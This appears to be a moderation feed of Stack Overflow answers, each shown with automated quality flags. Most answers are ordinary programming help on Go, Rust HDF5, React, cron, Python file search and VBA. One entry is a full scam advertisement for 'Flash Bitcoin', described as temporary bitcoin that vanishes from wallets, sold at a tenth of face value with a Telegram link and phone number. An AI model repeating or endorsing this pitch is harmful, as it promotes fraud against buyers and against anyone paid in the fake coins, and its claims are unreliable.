79583898

Date: 2025-04-21 00:54:20
Score: 1
Natty:
Report link

If you want

func xor(a, b bool) bool {
    return a != b
}
fmt.Println(xor(true, false)) // true
fmt.Println(xor(true, true))  // false
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: maestrom4

79583891

Date: 2025-04-21 00:45:18
Score: 0.5
Natty:
Report link

Thanks to the suggestion from Jmb about using ndarray::ArrayView2, I was able to get create the attribute with the desired DATASPACE definition:

use anyhow::{Ok, Result};
use hdf5::types::FixedAscii;
use hdf5::{Dataspace, File};
use std::path::PathBuf;
use std::str::Bytes;

use ndarray::ArrayView2;

fn main() -> Result<()> {
  let hdf5_path = PathBuf::from(
      "SVM15_npp_d20181005_t2022358_e2024003_b35959_c20181008035331889474_cspp_bck.h5",
  );
  let file = File::open_rw(hdf5_path)?;

  let gmtco_name =
      "GMTCO_npp_d20181005_t2022358_e2024003_b35959_c20181008035331889474_cspp_bck.h5";

  let attr_name = "FixedAscii_2D_array";
  let ascii_array: hdf5::types::FixedAscii<79> =
      hdf5::types::FixedAscii::from_ascii(&gmtco_name)?;
  let ascii_array = [ascii_array];
  let data = ArrayView2::from_shape((1, 1), &ascii_array)?;
  file.new_attr::<hdf5::types::FixedAscii<79>>()
      .shape([1, 1])
      .create(attr_name)?
      .write(&data)?;

  Ok(())
}

which results in the attribute (as shown via h5dump):

$> h5dump -a FixedAscii_2D_array SVM15_npp_d20181005_t2022358_e2024003_b35959_c20181008035331889474_cspp_bck.h5

HDF5 "SVM15_npp_d20181005_t2022358_e2024003_b35959_c20181008035331889474_cspp_bck.h5" {
ATTRIBUTE "FixedAscii_2D_array" {
   DATATYPE  H5T_STRING {
      STRSIZE 79;
      STRPAD H5T_STR_NULLPAD;
      CSET H5T_CSET_ASCII;
      CTYPE H5T_C_S1;
   }
   DATASPACE  SIMPLE { ( 1, 1 ) / ( 1, 1 ) }
   DATA {
   (0,0): "GMTCO_npp_d20181005_t2022358_e2024003_b35959_c20181008035331889474_cspp_bck.h5\000"
   }
}
}

As far as I can tell, there is as yet no high-level interface to set STRPAD to H5T_STR_NULLTERM rather than H5T_STR_NULLPAD, however I believe this can be done using the hdf5-sys crate in an unsafe block.

I have created a git repo containing many examples of reading and writing HDF5 (and NetCDF4) attributes and datasets (including several variants of the above solution) at https://codeberg.org/gpcureton/hdf5_netcdf_test.rs , in the hope that it may be useful for people trying to use the Rust interface to HDF5 and NetCDF4.

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • Long answer (-1):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: geoff.cureton

79583881

Date: 2025-04-21 00:25:14
Score: 1.5
Natty:
Report link

This solution works including iOS 18.

@objc @discardableResult private func openURL(_ url: URL) -> Bool {
    var responder: UIResponder? = self
    while responder != nil {
        if let application = responder as? UIApplication {
            if #available(iOS 18.0, *) {
                application.open(url, options: [:], completionHandler: nil)
                return true
            } else {
                return application.perform(#selector(openURL(_:)), with: url) != nil
            }
        }
        responder = responder?.next
    }
    return false
}

Solution from https://stackoverflow.com/a/78975759/1915700

Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Chetan kasundra

79583880

Date: 2025-04-21 00:25:14
Score: 1.5
Natty:
Report link

First, ensure that react-toastify was installed correctly. Run the following command in your terminal to double-check:

npm list react-toastify npm install --save react-toastify

Once you install it, make sure the package exists in your node_modules directory. You can navigate to node_modules/react-toastify to confirm its presence.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Sam

79583869

Date: 2025-04-21 00:08:11
Score: 2.5
Natty:
Report link

Ok, I figured it. I went to the spreadsheet and went to each sheet. Some had 71 rows of data, but a little over 1000 total rows. This was pretty consistent along all the sheets. So I went to each one and deleted the majority of the empty rows. They are filled in with an importrange command, so as more is added they will fill in more rows, but for now the execution time went from 30+ sec and timing out, to 11.1 secs.

Reasons:
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Doc

79583867

Date: 2025-04-21 00:04:10
Score: 1
Natty:
Report link

Make sure you're importing it correctly:

import { ToastContainer, toast } from 'react-toastify';
import 'react-toastify/dist/ReactToastify.css';

Also, don't forget to include the <ToastContainer /> somewhere in your app, like in App.js or _app.js.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: CrazyDev

79583856

Date: 2025-04-20 23:41:05
Score: 0.5
Natty:
Report link

It sounds like you are facing a challenging intermittent issue with your Java application querying the DB2 database. Here are some potential areas to investigate that might help resolve the problem:

**Resource Limits**: Look for resource limits on your DB2 instance, such as connection limits or memory usage, that may affect query execution.

**SQL Execution Context**: Verify if there are any environmental differences between running your query through the application versus the DB2 client. For example, check user permissions or roles associated with the connection used by the Java application.

**Debug Logging**: Add debug logging in your application to capture query execution, parameters, and connection details to isolate when the behavior changes.

**DB2 Configuration**: Review DB2 configuration settings, such as optimization or locking options, that might impact query behavior intermittently.

If the issue persists after investigating these areas, consider enabling detailed DB2 tracing to gather more information about query execution and performance. This may provide additional insights to help pinpoint the underlying cause.

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Sam

79583855

Date: 2025-04-20 23:41:04
Score: 3
Natty:
Report link

Question 1 (Simplified English Version - WordPress 403 Error)

Title: Python WordPress.com API: 403 Error (User cannot publish posts) when publishing

Body:

Hi everyone,

I'm trying to automatically publish posts to my WordPress.com blog using Python (requests library) and an Application Password.

However, when I send a POST request to the /posts/new endpoint using code similar to the example below, I consistently get a 403 Forbidden - User cannot publish posts error.

Python

# Example code used for publishing (some values changed)
import requests, json, base64
BLOG_URL = "https://aidentist.wordpress.com"
WP_USER = "sonpp" # My WP.com username
WP_PASSWORD = "k" # App password used (tried regenerating)
api_url = f"https://public-api.wordpress.com/rest/v1.1/sites/{BLOG_URL.split('//')[1]}/posts/new"
post_data = {"title": "Test Post", "content": "Test content", "status": "publish"}
credentials = f"{WP_USER}:{WP_PASSWORD}"
token = base64.b64encode(credentials.encode()).decode()
headers = {"Authorization": f"Basic {token}", "Content-Type": "application/json"}
try:
    response = requests.post(api_url, headers=headers, json=post_data)
    response.raise_for_status()
except requests.exceptions.RequestException as e:
    print(f"Error: {e}")
    # Error output includes:
    # HTTP Status Code: 403
    # Response Body: {"error": "unauthorized", "message": "User cannot publish posts"}

What I've checked:

Does anyone know other common reasons for this specific 403 - User cannot publish posts error when trying to publish via the API? Are there other things I should check, like hidden scopes for Application Passwords or potential Free plan limitations related to API publishing?

Thanks for any insights!

Reasons:
  • Blacklisted phrase (0.5): Thanks
  • RegEx Blacklisted phrase (2): Does anyone know
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: 손현아

79583853

Date: 2025-04-20 23:40:04
Score: 2.5
Natty:
Report link

Uwe's snippet worked for me. Was driving me crazy.

Reasons:
  • Whitelisted phrase (-1): worked for me
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Pseudonaut

79583849

Date: 2025-04-20 23:33:03
Score: 2.5
Natty:
Report link
  1. Check the "public/" Directory
  2. Base Path Configuration
  3. Image Optimization (Next.js next/image)
  4. Custom Server / Deployment Issues
  5. CSS / JS Not Loading?
  6. MIME Type / Content Errors
  7. Check File Naming
Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: CrazyDev

79583840

Date: 2025-04-20 23:13:59
Score: 2
Natty:
Report link

It means that affinity is not implemented in libgomp. The message is printed here: https://github.com/gcc-mirror/gcc/blob/a9fc1b9dec92842b3a978183388c1833918776fd/libgomp/affinity.c#L51

The whole file looks like a dummy implementation.

An alternative is to use a different OpenMP implementation. The affinity implementation in LLVM seems functional: https://github.com/llvm/llvm-project/blob/f87109f018faad5f3f1bf8a4668754c24e84e886/openmp/runtime/src/z_Windows_NT_util.cpp#L598

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • No code block (0.5):
Posted by: Joachim

79583837

Date: 2025-04-20 23:09:58
Score: 2
Natty:
Report link

Silver game

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Elizabeth saltos

79583834

Date: 2025-04-20 23:06:57
Score: 2
Natty:
Report link

It's not possible, but you can make your profile private so people can't browse your images.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
Posted by: Colin R. Turner

79583830

Date: 2025-04-20 23:03:56
Score: 1
Natty:
Report link

Flash Bitcoin is a unique cryptocurrency solution designed to provide temporary Bitcoin transactions in a fast, secure, and efficient manner. Unlike traditional Bitcoin, Flash Bitcoin has a limited lifespan, making it ideal for specific use cases where temporary holdings are beneficial. Whether you’re a trader, a crypto enthusiast, or exploring new ways to use cryptocurrencies, Flash Bitcoin offers a revolutionary approach to managing digital assets.

🔑 Key Characteristics of Flash Bitcoin

Flash Bitcoin stands out due to its unique features that differentiate it from traditional Bitcoin:

⏳ Temporary Holding

Flash Bitcoin mirrors traditional Bitcoin in value and function but is designed to stay in your wallet for a limited time. Depending on the software used for the transaction, Flash Bitcoin can remain securely stored in your wallet for 90 to 360 days before being automatically rejected by the blockchain network.

🔒 Secure Generation

All Flash Bitcoin is generated using specialized software, ensuring that transactions are both efficient and secure. This guarantees the highest level of reliability for your Flash Bitcoin transactions.

🛒 How to Order Flash Bitcoin

Ordering Flash Bitcoin is easy and accommodates both small and large transactions:

Minimum Order: Start with a minimum order of $2,000 BTC, where you only pay $200 to receive $2,000 worth of Flash BTC.

Maximum Order: For larger transactions, you can order up to a maximum of $10,000,000 BTC, allowing significant flexibility in transaction amounts.

🌟 Why Choose FastFlashBitcoins.com for Flash Bitcoin?

At FastFlashBitcoins.com, we are committed to providing the best Bitcoin flashing service online, ensuring your transactions are secure, reliable, and easy to manage. Here’s why we are the best choice for Flash Bitcoin:

🎯 Disappearing Tokens

Flash Bitcoin will automatically disappear from any wallet after 90 to 360 days, including any converted cryptocurrency. This feature ensures secure use while requiring careful management of your digital assets.

🔁 Limited Transfers

Flash Bitcoin has a transfer limit of 12 times, enhancing security and minimizing risks. This limitation ensures that your crypto remains traceable and manageable during its lifespan.

♻ Versatile Conversion

Flash Bitcoin can be converted into any other cryptocurrency on exchanges. However, if you convert Flash Bitcoin into another cryptocurrency, the converted coin will also disappear after 90 days.

⚙ Features of Flash Bitcoin

Flash Bitcoin is packed with features that make it an ideal solution for anyone looking for temporary Bitcoin transactions:

✅ 100% Confirmed Transactions: Every transaction is fully confirmed, ensuring reliability and peace of mind.

⚡ Quick Confirmation: Flash Bitcoin transactions are processed with priority for maximum speed, ensuring a seamless user experience.

🌍 Wide Wallet Compatibility: Flash Bitcoin is compatible with all wallet types, including SegWit addresses, legacy wallets, and bch32 wallets.

🚫 Unstoppable Transactions: Once initiated, Flash Bitcoin transactions cannot be canceled, making it a powerful and secure tool.

💸 Easy Spendability: Spend Flash Bitcoin easily on any address, regardless of the wallet type or format.

💎 Why Flash Bitcoin is the Best Solution

Flash Bitcoin offers a unique way to engage with cryptocurrencies, combining security, speed, and versatility in one innovative package. Whether you’re looking to:

Transfer large amounts of Bitcoin temporarily,

Convert cryptocurrencies with a limited lifespan, or

Experiment with disappearing tokens,

Flash Bitcoin provides a secure and reliable platform for all your needs.

🚀 Experience Flash Bitcoin Today

Take advantage of this revolutionary way to interact with cryptocurrencies. Whether you’re buying or selling Flash Bitcoin, FastFlashBitcoins.com is your trusted partner for secure and efficient transactions.

🌍 Why Choose FastFlashBitcoins.com

🔐 Reliable Platform: Enjoy a seamless transaction process with 100% confirmed transactions.

🧑‍💼 Expert Guidance: Our team is here to guide you through every step of the flashing process.

🔒 Secure Transactions: We prioritize the safety of your digital assets with specialized software and proven security protocols.

💬 Get Started Now

Don’t miss out on this innovative cryptocurrency solution. Experience the convenience, security, and flexibility of Flash Bitcoin today with FastFlashBitcoins.com.

💬https://telegram.me/flashsbitcoins

📲 Phone: +1 (770) 666–2531

Unlock the power of temporary Bitcoin with Flash Bitcoin and elevate your crypto experience today!

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Clutch Wester Cardelo

79583822

Date: 2025-04-20 22:45:52
Score: 0.5
Natty:
Report link

Just to sum up the comments above:

Adjusting the original example to Flux.from(req.receive().aggregate().asString().delayElement(Duration.ofNanos(1)).filter(str -> (str.length() > 0))).next(); resulted in being able to exceed the 500 connections per second.

Upon studying delayElement the documentation states that the parallel scheduler is then used.

Thus the constraint appears to be the scheduler. Once that theory was established it was tested by replacing delayElement with .subscribeOn(Schedulers.boundedElastic()) and confirmed to have the same result (being able to exceed 500).

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: G.K. Meier

79583821

Date: 2025-04-20 22:44:52
Score: 1.5
Natty:
Report link

The issue was the worker threads were actually disabled (via preprocessor defines not shown in code). You must continue to use worker threads even with the new blk_mq.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: user3161924

79583814

Date: 2025-04-20 22:33:50
Score: 2.5
Natty:
Report link

This extension actually works.
Preview of the extension
DevTools - Sources downloader

Reasons:
  • Probably link only (1):
  • Low length (2):
  • No code block (0.5):
  • High reputation (-1):
Posted by: ahmadalibaloch

79583812

Date: 2025-04-20 22:33:50
Score: 3.5
Natty:
Report link

Delighted to have https://stackoverflow.com/users/985454/qwerty answer! Helped me here!

Object.assign(window, { myObj }) is a bit cleaner and allows for snippet automation

Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Dickson Souza

79583804

Date: 2025-04-20 22:23:48
Score: 1.5
Natty:
Report link

If you are trying to execute a while or for loop then you are not ending the statement within with a ;:
while [...]; do command; done;

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Ewan Smith

79583802

Date: 2025-04-20 22:22:47
Score: 5
Natty: 5.5
Report link

it doesn't matter what I type, python3 or python, it gives me the same message "Python was not found; run without arguments to install from the Microsoft Store, or disable this shortcut from Settings > Manage App Execution Aliases." What do I do?

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Hana

79583801

Date: 2025-04-20 22:21:47
Score: 2.5
Natty:
Report link

If you are using VS, test closing VS files. That worked for me

Reasons:
  • Whitelisted phrase (-1): worked for me
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: ValentinGradia

79583798

Date: 2025-04-20 22:17:46
Score: 1.5
Natty:
Report link

An example is provided by the official Toy tutorial in Ch2.
You'll just need to extract out the relevant parts to end up with the code.
https://github.com/llvm/llvm-project/blob/main/mlir/examples/toy/Ch2/toyc.cpp

Commit snapshot with line numbers

https://github.com/llvm/llvm-project/blob/f87109f018faad5f3f1bf8a4668754c24e84e886/mlir/examples/toy/Ch2/toyc.cpp#L93-L111

Reasons:
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • High reputation (-1):
Posted by: Chee Loong Soon

79583789

Date: 2025-04-20 22:07:44
Score: 3
Natty:
Report link

You need to use Communication notifications in ios. It is an interface designed by Apple to allow communication apps send notification in that manner. You can learn more about it here

https://developer.apple.com/documentation/usernotifications/implementing-communication-notifications

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Seyi

79583788

Date: 2025-04-20 22:04:43
Score: 0.5
Natty:
Report link

For cache: prioritize availability, low latency, throughput. For durability: enable RDB/AOF on Redis. RDB spikes CPU/memory; AOF reduces write latency but impacts performance. Configure RDB intervals to balance performance/data loss. Avoid AOF every-write mode; everysec is better but can lose data. Use Primary-Replica replication and apply persistence only on replicas to reduce primary load.

Basically, enable Primary-Replica replication using the ReplicaOf command. Make any cache related calls only to the Primary instances. Use the Replicas for persisting cache data. If you end up using AOF (Append-Only File) persistence, use everysec. This way you will continue to get high-throughput, low latency from your primary instances and will have persistence data in case you need to reload with your Replica instances taking on the load of writing the persistence data to disk.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Carl Dacosta

79583778

Date: 2025-04-20 21:50:40
Score: 1.5
Natty:
Report link

While the rule numbers do not appear in the code editor, it is possible to see them in the problems listed by the Problems tab at the bottom of the VS Code window.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: Pierre Thibault

79583773

Date: 2025-04-20 21:43:39
Score: 1.5
Natty:
Report link

That MONZA error is coming from Intel's graphics driver. Update your Intel graphics driver, and it should stop appearing.

For the D3D12Core.dll error, that shows up because Visual Studio can't find its .pdb. Go to Tools > Options > Debugging > Symbols. Switch 'Symbol search preferences' to 'Search for all module symbols unless excluded', and check 'Microsoft Symbol Servers' as a search location.

enter image description here

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Underwood

79583771

Date: 2025-04-20 21:36:37
Score: 1.5
Natty:
Report link

We recently fell into this exact same trap. This was eventually identified as a symptom of having an environment with only Enhanced Data Model website(s). The adx_annotations/adx.annotations.html web resource will only be available if your environment has had a Standard Data Model portal/website provisioned. We proved this by creating a standard data model site and the missing web resource was then available. Having said that, we then discovered that there appears to be a new web resource intended for the enhanced data model sites: mspp_annotations/mspp.annotations.html

This worked perfectly for us as a replacement for the adx_ version.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Rondy007

79583768

Date: 2025-04-20 21:30:36
Score: 2
Natty:
Report link

Similar to the answer from @akshay girpunje, the solution for me was in the Maven settings. Though a bit different, I needed to remove the Label from the Maven Project Configuration.

Manage Jenkins-> System Configuration-> Maven Project Configuration

I cleared the value in the "Labels" field. It was previously set to 'Master'.

After that, my builds would exit the Queue and actually build. Particularly those builds that call other build configurations

Reasons:
  • Blacklisted phrase (0.5): I need
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rob

79583767

Date: 2025-04-20 21:28:35
Score: 6.5 🚩
Natty: 4
Report link

It's been a long time since these posts, but it's the only thing I have found online that comes close to my question:

Using the "Save Image" tool on google earth pro the Legend is only recognizing 1 of 3 polygons I have on the screen. They each have their own outline color, but no shading (I need the map to show the image below). The problem is that on the "Places" side bar all three polygons show up as white, so the legend only recognizes one (I assume). Why is the sidebar not reflecting the actual color? How do I fix this? I am adding a screenshot for clarity. TIA!

Carla

Reasons:
  • Blacklisted phrase (1): How do I
  • Blacklisted phrase (0.5): I need
  • RegEx Blacklisted phrase (1.5): fix this?
  • RegEx Blacklisted phrase (2): TIA
  • Long answer (-0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Carla de la Rosa

79583761

Date: 2025-04-20 21:13:30
Score: 2
Natty:
Report link

Trouble with IR Connection

We couldn't find an IR emitter on your device. Some devices may not have this feature. Please check your device's specifications, or consult your user manual for IR compatibility.

Close

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Tabish Khan

79583754

Date: 2025-04-20 21:02:28
Score: 0.5
Natty:
Report link

I'd use rectangular selection at column 1 and then hit the tab key.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • High reputation (-2):
Posted by: starball

79583748

Date: 2025-04-20 21:00:27
Score: 1
Natty:
Report link

Just do this
<p style="font-size:60px; color: white;" > Step 1: </p>

separate CSS properties with ;

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Ammar

79583740

Date: 2025-04-20 20:49:25
Score: 5
Natty:
Report link

Have you checked if there is any class imblance within the dataset?

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Vidyadhar Rao

79583739

Date: 2025-04-20 20:47:24
Score: 3.5
Natty:
Report link

i use custom action because custom function don't permitted type Future and async function in custom function

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: other4

79583734

Date: 2025-04-20 20:39:23
Score: 2
Natty:
Report link

Stackoverflow Question/Answer: I have a file that may be in a different place on each user's machine. Is there a way to implement a search for the file? A way that I can pass the file's name and the directory tree to search in? Find a file in python

Bing AI gives some examples, listed below... but I'm not sure what you're passing in as a filename. Is it just supposed to find any file with that filename in the whole operating system? I think you need to give it a hint as to where your file might be.

import os

def find_filename(directory, filename):
    files = os.listdir(directory)
    if filename in files:
        return os.path.join(directory, filename)
    else:
        return None

# Example usage
directory = '/path/to/directory'
filename = 'example.txt'
result = find_filename(directory, filename)
print(result if result else "File not found")
import os

def find_filename(directory, filename):
    for root, dirs, files in os.walk(directory):
        if filename in files:
            return os.path.join(root, filename)
    return None

# Example usage
directory = '/path/to/directory'
filename = 'example.txt'
result = find_filename(directory, filename)
print(result if result else "File not found")
import subprocess

def find_file(root_folder, filename):
    result = subprocess.run(['find', root_folder, '-name', filename], stdout=subprocess.PIPE, text=True)
    files = result.stdout.splitlines()
    return files

# Example usage
file_paths = find_file('/path/to/search', 'target_file.txt')
if file_paths:
    for path in file_paths:
        print(f'File found at: {path}')
else:
    print('File not found')
Reasons:
  • Blacklisted phrase (1): Stackoverflow
  • Blacklisted phrase (1): Is there a way
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: soylentkim

79583732

Date: 2025-04-20 20:34:21
Score: 1
Natty:
Report link

Put 0s for those entries. You should take a close look at ?att_gt before using this function. Here is a screenshot from the documentation.

enter image description here

Reasons:
  • Probably link only (1):
  • Low length (1):
  • Has code block (-0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: ekoam

79583730

Date: 2025-04-20 20:34:21
Score: 3.5
Natty:
Report link

What exactly are you trying to do i may be able to help i have a file organizer the works so i may have some code that may be useful

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Starts with a question (0.5): What
  • Low reputation (1):
Posted by: Jason Cobble

79583728

Date: 2025-04-20 20:31:21
Score: 0.5
Natty:
Report link

My experience: be careful with ~ (tilde) in paths if you configure cron as root but work as another user.

I have root and USERNAME users and I want to backup things via a small script and save result to the Dropbox folder.

Here is content of crontab: backup.sh | gzip --best > ~/Dropbox/backup/backup.sql.gz

When I run the script as USERNAME everything is OK, script creates file at /home/USERNAME/Dropbox/backup/backup.sql.gz (pay attention to /home/USERNAME/)

But when I configured cron as root and the script is launched by cron it tries to create file at /root/Dropbox/backup/backup.sql.gz (pay attention to /root/) and it fails with the error cannot create /root/Dropbox/backup/backup.sql.gz: Directory nonexistent because there is no /root/Dropbox/backup folder.

Reasons:
  • RegEx Blacklisted phrase (1): I want
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: elebur

79583714

Date: 2025-04-20 20:17:18
Score: 3.5
Natty:
Report link

I discover the body was arriving in chunks so i had to wait for all of it to arrive before proceeding

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: AFOKE REALITY IGHO

79583710

Date: 2025-04-20 20:11:16
Score: 3.5
Natty:
Report link

This is very interesting, but no one will help you, only some nerd that has nothing to do

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Артем Демьянов

79583709

Date: 2025-04-20 20:10:16
Score: 1
Natty:
Report link

According to the official statement, "gemini-2.0-flash-exp-image-generation is not currently supported in a number of countries in Europe, Middle East & Africa".

If you're geo-blocked, you options are:

Reasons:
  • Low length (0.5):
  • No code block (0.5):
Posted by: DaWe

79583699

Date: 2025-04-20 20:00:13
Score: 1
Natty:
Report link

You can try following query

SELECT ut.usr_uid, ut.usr_lastname, ut.usr_firstname, nd.nd_abletoplay
FROM usertable AS ut
LEFT JOIN namedown AS nd
    ON ut.usr_uid = nd.nd_playeruid AND nd.nd_matchuid = 869;
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Abdul Rashid

79583680

Date: 2025-04-20 19:36:08
Score: 3
Natty:
Report link

I've have the same issue in a shared hosting subdomain with SQLite enabled, and my solution has been modify this line in config/database.php:

// 'database' => env('DB_DATABASE', database_path('database.sqlite')),
'database' => database_path('database.sqlite'),
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Me too answer (2.5): have the same issue
  • Low reputation (0.5):
Posted by: entoniperez

79583674

Date: 2025-04-20 19:27:05
Score: 0.5
Natty:
Report link
' Solution 4
Private Sub Get_Shell_Fonts()
    
    'https://stackoverflow.com/questions/7408024/how-to-get-a-font-file-name
    '-----------------------------------------------------------------------------------------------
    ' Needed Reference for Early-Binding:
    '    Library Shell32
    '        C:\Windows\SysWOW64\shell32.dll
    '        Microsoft Shell Controls And Automation
    '-----------------------------------------------------------------------------------------------
    ' Common Vars
    Dim lng_RowID      As Long      ' Base1 incr Before Use
    Dim lng_FontFamily As Long      ' Base1 incr Before Use
    Dim lng_SubFont    As Long      ' Base1 incr Before Use
    Dim str_Out        As String    ' For save As TSV Cp 1200
    
    lng_RowID = 0
    lng_FontFamily = 0
    lng_SubFont = 0
    str_Out = ""
    '-----------------------------------------------------------------------------------------------
    ' Init Shell
    Dim obj_Shell As Shell32.Shell
    Set obj_Shell = New Shell32.Shell 'Late Binding: Set obj_Shell = CreateObject("Shell.Application")
    '-----------------------------------------------------------------------------------------------
    ' Init Folder
    ' HardCoded: Set obj_Folder = obj_Shell.NameSpace("C:\Windows\Fonts")
    ' Better: Environment.SpecialFolder: Fonts = 20 = A virtual folder that contains fonts.
    Dim obj_Folder As Shell32.Folder
    Set obj_Folder = obj_Shell.NameSpace(VBA.Environ("SystemRoot") & "\Fonts")
    If obj_Folder Is Nothing Then
        Debug.Print "Can't Init Folder"
    Else
        '-------------------------------------------------------------------------------------------
        ' Collect FieldNames BrutForce
        
        ' Sample From Win 8.1 German
        
        '  0 = Name
        '  1 = Schriftschnitt
        '  2 = Ein-/ausblenden
        '  3 = Entwickelt für
        '  4 = Kategorie
        '  5 = Designer/Hersteller
        '  6 = Einbindbarkeit von Schriftarten
        '  7 = Schriftarttyp
        '  8 = Familie
        '  9 = Erstelldatum
        ' 10 = Änderungsdatum
        ' 11 = Größe
        ' 12 = Sammlung
        ' 13 = Schriftartdateinamen            = FullFileName
        ' 14 = Schriftartversion
        
        Dim int_FieldIndex      As Integer ' Base0
        Dim str_FieldName       As String
        Dim int_FieldCount      As Integer ' Base1
        Dim stra_FieldNames()   As String  ' Base0
        Dim inta_FieldIndices() As Integer ' Base0
        int_FieldCount = 0
        
        For int_FieldIndex = 0 To 1000
            '---------------------------------------------------------------------------------------
            str_FieldName = obj_Folder.GetDetailsOf(Null, int_FieldIndex)
            If str_FieldName = "" Then
                Exit For
            End If
            '---------------------------------------------------------------------------------------
            ' Enlarge Array
            ReDim Preserve inta_FieldIndices(0 To int_FieldCount)
            ReDim Preserve stra_FieldNames(0 To int_FieldCount)
            '---------------------------------------------------------------------------------------
            ' Store
            inta_FieldIndices(int_FieldCount) = int_FieldIndex
            stra_FieldNames(int_FieldCount) = str_FieldName
            '---------------------------------------------------------------------------------------
            ' Incr FieldCount
            int_FieldCount = int_FieldCount + 1
            '---------------------------------------------------------------------------------------
        Next int_FieldIndex
        '-------------------------------------------------------------------------------------------
        ' Print Fields // Header For TSV
        str_Out = "RowID" & vbTab & "FontFamilyID" & vbTab & "SubFontID"
        For int_FieldIndex = 0 To int_FieldCount - 1
            str_Out = str_Out & vbTab & stra_FieldNames(int_FieldIndex)
            Debug.Print inta_FieldIndices(int_FieldIndex), stra_FieldNames(int_FieldIndex)
        Next int_FieldIndex
        str_Out = str_Out & vbCrLf
        '-------------------------------------------------------------------------------------------
        ' Loop Files
        Dim obj_FolderItem As Shell32.FolderItem
        For Each obj_FolderItem In obj_Folder.Items
            '---------------------------------------------------------------------------------------
            lng_FontFamily = lng_FontFamily + 1
            lng_RowID = lng_RowID + 1
            lng_SubFont = 0
            '---------------------------------------------------------------------------------------
            Debug.Print
            Debug.Print lng_RowID, lng_FontFamily, lng_SubFont;
            str_Out = str_Out & lng_RowID & vbTab & lng_FontFamily & vbTab & lng_SubFont
            For int_FieldIndex = 0 To int_FieldCount - 1
                Debug.Print , obj_Folder.GetDetailsOf(obj_FolderItem, int_FieldIndex);
                str_Out = str_Out & vbTab & obj_Folder.GetDetailsOf(obj_FolderItem, int_FieldIndex)
            Next int_FieldIndex
            str_Out = str_Out & vbCrLf
            '---------------------------------------------------------------------------------------
            ' Loop Fonts in Family: is Not a Filesystem-Object // No Recursion needed: No more Subs
            Dim obj_SubFolder As Shell32.Folder
            Dim obj_SubFolderItem As Shell32.FolderItem
            If obj_FolderItem.IsFolder Then
                lng_SubFont = 0
                Set obj_SubFolder = obj_FolderItem.GetFolder
                For Each obj_SubFolderItem In obj_SubFolder.Items
                    lng_SubFont = lng_SubFont + 1
                    lng_RowID = lng_RowID + 1
                    
                    Debug.Print
                    Debug.Print lng_RowID, lng_FontFamily, lng_SubFont;
                    str_Out = str_Out & lng_RowID & vbTab & lng_FontFamily & vbTab & lng_SubFont
                    For int_FieldIndex = 0 To int_FieldCount - 1
                        Debug.Print , obj_SubFolder.GetDetailsOf(obj_SubFolderItem, int_FieldIndex);
